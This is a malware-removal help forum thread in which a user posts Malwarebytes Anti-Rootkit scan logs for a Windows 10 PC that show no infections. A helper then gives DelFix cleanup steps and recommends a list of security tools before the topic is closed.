File system type: NTFS
SectorSize = 512, ClusterSize = 4096, MFTRecordSize = 1024, MFTIndexSize = 4096 bytes
Scanning drivers directory: C:\WINDOWS\SYSTEM32\drivers…
Done!
Physical Sector Size: 512
Drive: 0, DevicePointer: 0xffffffff8b2099c0, DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
——— Disk Stack ——
DevicePointer: 0xffffffff8b209640, DeviceName: Unknown, DriverName: \Driver\partmgr\
DevicePointer: 0xffffffff8b2099c0, DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
DevicePointer: 0xffffffff8a9bb030, DeviceName: \Device\00000021\, DriverName: \Driver\storahci\
———— End ———-
Alternate DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
Upper DeviceData: 0x0, 0x0, 0x0
Lower DeviceData: 0x0, 0x0, 0x0
Drive 0
Scanning MBR on drive 0…
Inspecting partition table:
MBR Signature: 55AA
Disk Signature: C7F98DD8
Partition information:
Partition 0 type is Primary (0x7)
Partition is NOT ACTIVE.
Partition starts at LBA: 2048 Numsec = 312576000
Partition is not bootable
Partition file system is NTFS
Partition 1 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Partition 2 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Partition 3 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Disk Size: 160041885696 bytes
Sector size: 512 bytes
Done!
Drive 1
This is a System drive
Scanning MBR on drive 1…
Inspecting partition table:
MBR Signature: 55AA
Disk Signature: 2DA00602
Partition information:
Partition 0 type is Primary (0x7)
Partition is ACTIVE.
Partition starts at LBA: 2048 Numsec = 204800
Partition is bootable
Partition file system is NTFS
Partition 1 type is Primary (0x7)
Partition is NOT ACTIVE.
Partition starts at LBA: 206848 Numsec = 155170816
Partition is not bootable
Partition file system is NTFS
Partition 2 type is Other (0x27)
Partition is NOT ACTIVE.
Partition starts at LBA: 155377664 Numsec = 921600
Partition is not bootable
Partition file system is NTFS
Partition 3 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Disk Size: 80026361856 bytes
Sector size: 512 bytes
Done!
File "C:\ProgramData\Norton\{0C55C096-0F1D-4F28-AAA2-85EF591126E7}\N360_22.5.2.15\QBackup\index.qbs" is sparse (flags = 32768)
File "C:\Users\Dads\AppData\Local\Comms\UnistoreDB\store.vol" is sparse (flags = 32768)
File "C:\Windows\System32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat" is sparse (flags = 32768)
Scan finished
=======================================
Removal queue found; removal started
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-0-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-0-0-2048-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-0-r.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-1-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-0-2048-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-1-206848-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-2-155377664-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-1-r.mbam…
Removal finished
Thanks for all your help
Malwarebytes Anti-Rootkit BETA 1.9.3.1001
www.malwarebytes.org
Database version:
main: v2016.10.09.06
rootkit: v2016.09.26.02
Windows 10 x86 NTFS
Internet Explorer 11.589.10586.0
Dads :: DADS-PC [administrator]
10/9/2016 8:24:19 AM
mbar-log-2016-10-09 (08-24-19).txt
Scan type: Quick scan
Scan options enabled: Anti-Rootkit | Drivers | MBR | Physical Sectors | Memory | Startup | Registry | File System | Heuristics/Extra | Heuristics/Shuriken
Scan options disabled:
Objects scanned: 345568
Time elapsed: 29 minute(s), 56 second(s)
Memory Processes Detected: 0
(No malicious items detected)
Memory Modules Detected: 0
(No malicious items detected)
Registry Keys Detected: 0
(No malicious items detected)
Registry Values Detected: 0
(No malicious items detected)
Registry Data Items Detected: 0
(No malicious items detected)
Folders Detected: 0
(No malicious items detected)
Files Detected: 0
(No malicious items detected)
Physical Sectors Detected: 0
(No malicious items detected)
(end)
—————————————
Malwarebytes Anti-Rootkit BETA 1.09.3.1001
© Malwarebytes Corporation 2011-2012
OS version: 10.0.9200 Windows 10 x86
Account is Administrative
Internet Explorer version: 11.589.10586.0
File system is: NTFS
Disk drives: C:\ DRIVE_FIXED, E:\ DRIVE_FIXED, F:\ DRIVE_FIXED
CPU speed: 2.992000 GHz
Memory total: 3477712896, free: 1824354304
Downloaded database version: v2016.10.09.06
Downloaded database version: v2016.09.26.02
Downloaded database version: v2016.09.21.01
Initializing…
======================
Driver version: 0.3.0.4
———— Kernel report ————
10/09/2016 08:24:09
———— Loaded modules ———–
\SystemRoot\system32\ntoskrnl.exe
\SystemRoot\system32\halmacpi.dll
\SystemRoot\system32\kd.dll
\SystemRoot\system32\mcupdate_GenuineIntel.dll
\SystemRoot\System32\drivers\werkernel.sys
\SystemRoot\System32\drivers\CLFS.SYS
\SystemRoot\System32\drivers\tm.sys
\SystemRoot\system32\PSHED.dll
\SystemRoot\system32\BOOTVID.dll
\SystemRoot\System32\drivers\cmimcext.sys
\SystemRoot\System32\drivers\ntosext.sys
\SystemRoot\system32\CI.dll
\SystemRoot\System32\drivers\msrpc.sys
\SystemRoot\System32\drivers\FLTMGR.SYS
\SystemRoot\System32\drivers\ksecdd.sys
\SystemRoot\System32\drivers\clipsp.sys
\SystemRoot\system32\drivers\Wdf01000.sys
\SystemRoot\system32\drivers\WDFLDR.SYS
\SystemRoot\System32\Drivers\acpiex.sys
\SystemRoot\System32\Drivers\WppRecorder.sys
\SystemRoot\System32\Drivers\cng.sys
\SystemRoot\System32\drivers\ACPI.sys
\SystemRoot\System32\drivers\WMILIB.SYS
\SystemRoot\system32\drivers\WindowsTrustedRT.sys
\SystemRoot\System32\drivers\WindowsTrustedRTProxy.sys
\SystemRoot\System32\drivers\pcw.sys
\SystemRoot\System32\drivers\msisadrv.sys
\SystemRoot\System32\drivers\pci.sys
\SystemRoot\System32\drivers\vdrvroot.sys
\SystemRoot\system32\drivers\pdc.sys
\SystemRoot\system32\drivers\CEA.sys
\SystemRoot\System32\drivers\partmgr.sys
\SystemRoot\system32\drivers\gfibto.sys
\SystemRoot\System32\drivers\spaceport.sys
\SystemRoot\System32\drivers\volmgr.sys
\SystemRoot\System32\drivers\volmgrx.sys
\SystemRoot\System32\drivers\pciide.sys
\SystemRoot\System32\drivers\PCIIDEX.SYS
\SystemRoot\System32\drivers\mountmgr.sys
\SystemRoot\System32\drivers\atapi.sys
\SystemRoot\System32\drivers\ataport.SYS
\SystemRoot\System32\drivers\storahci.sys
\SystemRoot\System32\drivers\storport.sys
\SystemRoot\System32\drivers\EhStorClass.sys
\SystemRoot\System32\drivers\fileinfo.sys
\SystemRoot\System32\Drivers\Wof.sys
\SystemRoot\System32\Drivers\NTFS.sys
\SystemRoot\System32\Drivers\Fs_Rec.sys
\SystemRoot\system32\drivers\ndis.sys
\SystemRoot\system32\drivers\NETIO.SYS
\SystemRoot\System32\Drivers\ksecpkg.sys
\SystemRoot\System32\drivers\tcpip.sys
\SystemRoot\System32\drivers\fwpkclnt.sys
\SystemRoot\System32\drivers\wfplwfs.sys
\SystemRoot\System32\DRIVERS\fvevol.sys
\SystemRoot\System32\drivers\volsnap.sys
\SystemRoot\system32\drivers\N360\1608000.032\SYMEFASI.SYS
\SystemRoot\System32\drivers\rdyboost.sys
\SystemRoot\System32\Drivers\mup.sys
\SystemRoot\System32\drivers\disk.sys
\SystemRoot\System32\drivers\CLASSPNP.SYS
\SystemRoot\System32\Drivers\crashdmp.sys
\SystemRoot\System32\drivers\cdrom.sys
\SystemRoot\system32\drivers\N360\1608000.032\ccSetx86.sys
\SystemRoot\system32\drivers\filecrypt.sys
\SystemRoot\system32\drivers\tbs.sys
\SystemRoot\system32\drivers\N360\1608000.032\Ironx86.SYS
\??\C:\Windows\system32\Drivers\SYMEVENT.SYS
\SystemRoot\System32\Drivers\N360\1608000.032\SRTSP.SYS
\SystemRoot\system32\drivers\N360\1608000.032\SRTSPX.SYS
\??\C:\EEK\bin32\epp.sys
\SystemRoot\System32\Drivers\Null.SYS
\SystemRoot\System32\Drivers\Beep.SYS
\SystemRoot\System32\drivers\BasicDisplay.sys
\SystemRoot\System32\drivers\watchdog.sys
\SystemRoot\System32\drivers\dxgkrnl.sys
\SystemRoot\System32\drivers\BasicRender.sys
\SystemRoot\System32\Drivers\Npfs.SYS
\SystemRoot\System32\Drivers\Msfs.SYS
\SystemRoot\system32\DRIVERS\tdx.sys
\SystemRoot\system32\DRIVERS\TDI.SYS
\SystemRoot\System32\DRIVERS\netbt.sys
\SystemRoot\system32\drivers\afd.sys
\SystemRoot\System32\drivers\vwififlt.sys
\SystemRoot\System32\drivers\pacer.sys
\SystemRoot\system32\drivers\netbios.sys
\SystemRoot\system32\DRIVERS\rdbss.sys
\SystemRoot\System32\Drivers\N360\1608000.032\SYMNETS.SYS
\SystemRoot\system32\drivers\nsiproxy.sys
\SystemRoot\System32\drivers\npsvctrig.sys
\SystemRoot\System32\drivers\mssmbios.sys
\??\C:\Program Files\Norton Security Suite\NortonData\22.5.2.15\Definitions\IPSDefs\20161007.001\IDSvix86.sys
\SystemRoot\System32\drivers\gpuenergydrv.sys
\??\C:\Program Files\Common Files\Symantec Shared\EENGINE\eeCtrl.sys
\??\C:\Program Files\Common Files\Symantec Shared\EENGINE\EraserUtilRebootDrv.sys
\SystemRoot\System32\Drivers\dfsc.sys
\??\C:\Program Files\Norton Security Suite\NortonData\22.5.2.15\Definitions\BASHDefs\20161005.001\BHDrvx86.sys
\SystemRoot\system32\DRIVERS\ahcache.sys
\SystemRoot\System32\DriverStore\FileRepository\compositebus.inf_x86_dd1d60cd48926252\CompositeBus.sys
\SystemRoot\System32\drivers\kdnic.sys
\SystemRoot\System32\drivers\umbus.sys
\SystemRoot\System32\drivers\intelppm.sys
\SystemRoot\system32\DRIVERS\igdkmd32.sys
\SystemRoot\System32\drivers\HECI.sys
\SystemRoot\System32\drivers\serial.sys
\SystemRoot\System32\drivers\serenum.sys
\SystemRoot\system32\DRIVERS\e1e6232.sys
\SystemRoot\System32\drivers\usbuhci.sys
\SystemRoot\System32\drivers\USBPORT.SYS
\SystemRoot\System32\drivers\usbehci.sys
\SystemRoot\System32\drivers\HDAudBus.sys
\SystemRoot\System32\drivers\portcls.sys
\SystemRoot\System32\drivers\drmk.sys
\SystemRoot\System32\drivers\ks.sys
\SystemRoot\system32\DRIVERS\HSXHWBS2.sys
\SystemRoot\system32\DRIVERS\HSX_DPV.sys
\SystemRoot\system32\DRIVERS\HSX_CNXT.sys
\SystemRoot\system32\drivers\modem.sys
\SystemRoot\System32\drivers\parport.sys
\SystemRoot\system32\DRIVERS\GEARAspiWDM.sys
\SystemRoot\System32\drivers\NdisVirtualBus.sys
\SystemRoot\System32\drivers\swenum.sys
\SystemRoot\system32\drivers\DellProf.sys
\SystemRoot\system32\drivers\DDDriver32Dcsa.sys
\SystemRoot\System32\drivers\rdpbus.sys
\SystemRoot\System32\drivers\usbhub.sys
\SystemRoot\System32\drivers\USBD.SYS
\SystemRoot\System32\drivers\HdAudio.sys
\SystemRoot\System32\Drivers\dump_diskdump.sys
\SystemRoot\System32\Drivers\dump_storahci.sys
\SystemRoot\System32\Drivers\dump_dumpfve.sys
\SystemRoot\System32\win32k.sys
\SystemRoot\System32\win32kfull.sys
\SystemRoot\System32\drivers\HIDPARSE.SYS
\SystemRoot\System32\win32kbase.sys
\SystemRoot\System32\drivers\usbccgp.sys
\SystemRoot\System32\Drivers\UsbFltr.sys
\SystemRoot\System32\drivers\hidusb.sys
\SystemRoot\System32\drivers\HIDCLASS.SYS
\SystemRoot\System32\drivers\kbdhid.sys
\SystemRoot\System32\drivers\dxgmms1.sys
\SystemRoot\System32\drivers\dxgmms2.sys
\SystemRoot\System32\drivers\kbdclass.sys
\SystemRoot\System32\TSDDD.dll
\SystemRoot\System32\drivers\mouhid.sys
\SystemRoot\System32\drivers\mouclass.sys
\SystemRoot\System32\drivers\monitor.sys
\SystemRoot\System32\cdd.dll
\SystemRoot\system32\drivers\luafv.sys
\SystemRoot\system32\drivers\storqosflt.sys
\SystemRoot\system32\drivers\lltdio.sys
\SystemRoot\system32\drivers\mslldp.sys
\SystemRoot\system32\drivers\rspndr.sys
\SystemRoot\system32\drivers\HTTP.sys
\SystemRoot\system32\drivers\WudfPf.sys
\SystemRoot\system32\DRIVERS\bowser.sys
\SystemRoot\system32\DRIVERS\mrxsmb.sys
\SystemRoot\system32\DRIVERS\mrxsmb20.sys
\SystemRoot\System32\drivers\mpsdrv.sys
\SystemRoot\System32\DRIVERS\srvnet.sys
\SystemRoot\System32\DRIVERS\srv2.sys
\SystemRoot\System32\drivers\parvdm.sys
\SystemRoot\system32\DRIVERS\mdmxsdk.sys
\SystemRoot\system32\drivers\mmcss.sys
\SystemRoot\system32\DRIVERS\mrxsmb10.sys
\SystemRoot\system32\drivers\mqac.sys
\SystemRoot\system32\drivers\Ndu.sys
\SystemRoot\system32\drivers\peauth.sys
\SystemRoot\System32\DRIVERS\srv.sys
\SystemRoot\System32\drivers\tcpipreg.sys
\SystemRoot\system32\DRIVERS\XAudio32.sys
\SystemRoot\System32\drivers\tunnel.sys
\SystemRoot\System32\drivers\WSDPrint.sys
\SystemRoot\system32\DRIVERS\WSDScan.sys
\SystemRoot\System32\drivers\condrv.sys
\??\C:\WINDOWS\system32\drivers\mbamchameleon.sys
\??\C:\WINDOWS\system32\drivers\MBAMSwissArmy.sys
———– End ———–
Done!
Scan started
Database versions:
main: v2016.10.09.06
rootkit: v2016.09.26.02
<<<2>>>
Physical Sector Size: 512
Drive: 1, DevicePointer: 0xffffffff8b20a7d0, DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
——— Disk Stack ——
DevicePointer: 0xffffffff8b20a3a0, DeviceName: Unknown, DriverName: \Driver\partmgr\
DevicePointer: 0xffffffff8b20a7d0, DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
DevicePointer: 0xffffffff8a9b9030, DeviceName: \Device\00000023\, DriverName: \Driver\storahci\
———— End ———-
Alternate DeviceName: \Device\Harddisk1\DR1\, DriverName: \Driver\disk\
Upper DeviceData: 0x0, 0x0, 0x0
Lower DeviceData: 0x0, 0x0, 0x0
<<<3>>>
Volume: C:
File system type: NTFS
SectorSize = 512, ClusterSize = 4096, MFTRecordSize = 1024, MFTIndexSize = 4096 bytes
<<<2>>>
<<<3>>>
Volume: C:
File system type: NTFS
SectorSize = 512, ClusterSize = 4096, MFTRecordSize = 1024, MFTIndexSize = 4096 bytes
Scanning drivers directory: C:\WINDOWS\SYSTEM32\drivers…
Done!
Physical Sector Size: 512
Drive: 0, DevicePointer: 0xffffffff8b2099c0, DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
——— Disk Stack ——
DevicePointer: 0xffffffff8b209640, DeviceName: Unknown, DriverName: \Driver\partmgr\
DevicePointer: 0xffffffff8b2099c0, DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
DevicePointer: 0xffffffff8a9bb030, DeviceName: \Device\00000021\, DriverName: \Driver\storahci\
———— End ———-
Alternate DeviceName: \Device\Harddisk0\DR0\, DriverName: \Driver\disk\
Upper DeviceData: 0x0, 0x0, 0x0
Lower DeviceData: 0x0, 0x0, 0x0
Drive 0
Scanning MBR on drive 0…
Inspecting partition table:
MBR Signature: 55AA
Disk Signature: C7F98DD8
Partition information:
Partition 0 type is Primary (0x7)
Partition is NOT ACTIVE.
Partition starts at LBA: 2048 Numsec = 312576000
Partition is not bootable
Partition file system is NTFS
Partition 1 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Partition 2 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Partition 3 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Disk Size: 160041885696 bytes
Sector size: 512 bytes
Done!
Drive 1
This is a System drive
Scanning MBR on drive 1…
Inspecting partition table:
MBR Signature: 55AA
Disk Signature: 2DA00602
Partition information:
Partition 0 type is Primary (0x7)
Partition is ACTIVE.
Partition starts at LBA: 2048 Numsec = 204800
Partition is bootable
Partition file system is NTFS
Partition 1 type is Primary (0x7)
Partition is NOT ACTIVE.
Partition starts at LBA: 206848 Numsec = 155170816
Partition is not bootable
Partition file system is NTFS
Partition 2 type is Other (0x27)
Partition is NOT ACTIVE.
Partition starts at LBA: 155377664 Numsec = 921600
Partition is not bootable
Partition file system is NTFS
Partition 3 type is Empty (0x0)
Partition is NOT ACTIVE.
Partition starts at LBA: 0 Numsec = 0
Partition is not bootable
Disk Size: 80026361856 bytes
Sector size: 512 bytes
Done!
File "C:\ProgramData\Norton\{0C55C096-0F1D-4F28-AAA2-85EF591126E7}\N360_22.5.2.15\QBackup\index.qbs" is sparse (flags = 32768)
File "C:\Users\Dads\AppData\Local\Comms\UnistoreDB\store.vol" is sparse (flags = 32768)
File "C:\Windows\System32\config\systemprofile\AppData\Local\DataSharing\Storage\DSTokenDB2.dat" is sparse (flags = 32768)
Scan finished
=======================================
Removal queue found; removal started
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-0-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-0-0-2048-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-0-r.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-1-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-0-2048-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-1-206848-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\VBR-1-2-155377664-i.mbam…
Removing C:\ProgramData\Malwarebytes' Anti-Malware (portable)\MBR-1-r.mbam…
Removal finished
Juliet
Looks good, I think we're ready to remove tools and quarantine folders.
DelFix
DelFix
- Please download DelFix or from Here and save the file to your Desktop.
- Double-click DelFix.exe to run the programme.
- Place a checkmark next to the following items:
- Activate UAC
- Remove disinfection tools
- Click the Run button.
- – This will remove the specialized tools we used to disinfect your system.
Any leftover logs, files, folders or tools remaining on your Desktop which were not removed can be deleted manually (right-click the file + delete).
- Answers to common security questions - Best Practices by quietman7, MVP
- How Malware Spreads - How did I get infected? by quietman7, MVP
- Simple and easy ways to keep your computer safe and secure on the Internet by Lawrence Abrams, MVP
- How to Prevent Malware by miekiemoes, MVP
- How to backup and restore your data using Cobian Backup by YourHighness
- Slow Computer/browser? It May Not Be Malware by quietman7, MVP
- AdBlock is a browser add-on that blocks annoying banners, pop-ups and video ads.
- [external image: E8I37RF.png]CryptoPrevent places policy restrictions on loading points for ransomware (eg. CryptoWall), helping prevent the execution of malware.
- [external image: EG85Vjt.png]Malwarebytes Anti-Exploit (MBAE) is designed to prevent zero-day malware from exploiting vulnerable software.
- [external image: 6YRrgUC.png]Malwarebytes Anti-Malware Premium (MBAM) works in real-time along side your Anti-Virus to prevent malware execution.
- [external image: jv4nhMJ.png]NoScript is a Firefox add-on that blocks the actions of malicious scripts by using whitelisting and other technology.
- [external image: 3O8r9Uq.png] Sandboxie isolates programmes of your choice, preventing files from being written to your HDD unless approved by you.
- [external image: DgW1XL2.png]Secunia PSI will scan your computer for vulnerable software that is outdated, and automatically find the latest update for you.
- [external image: j1OLIec.png]SpywareBlaster is a form of passive protection, designed to block the actions of malicious websites and tracking cookies.
- [external image: sHjS79L.png]Unchecky automatically removes checkmarks for bunlded software in programme installers; helping you avoid adware and PUPs.
- [external image: JEP5iWI.png]Web of Trust (WOT) is a browser add-on designed to alert you before interacting with a potentially malicious website.
es4245
My system seems to be running at top speed again.
Thank you for all your help
Thank you for all your help
Juliet
Your welcome, safe surfing.
Juliet
Glad we could help. 
[external image: sparkle.gif]
Since this issue appears resolved … this Topic is closed.
[external image: sparkle.gif]Since this issue appears resolved … this Topic is closed.
Ask AI
AI can make mistakes. Check the cited posts. Archived advice can be out-of-date
Don't include personal information. Questions and selected public posts go to OpenAI. About Ask AI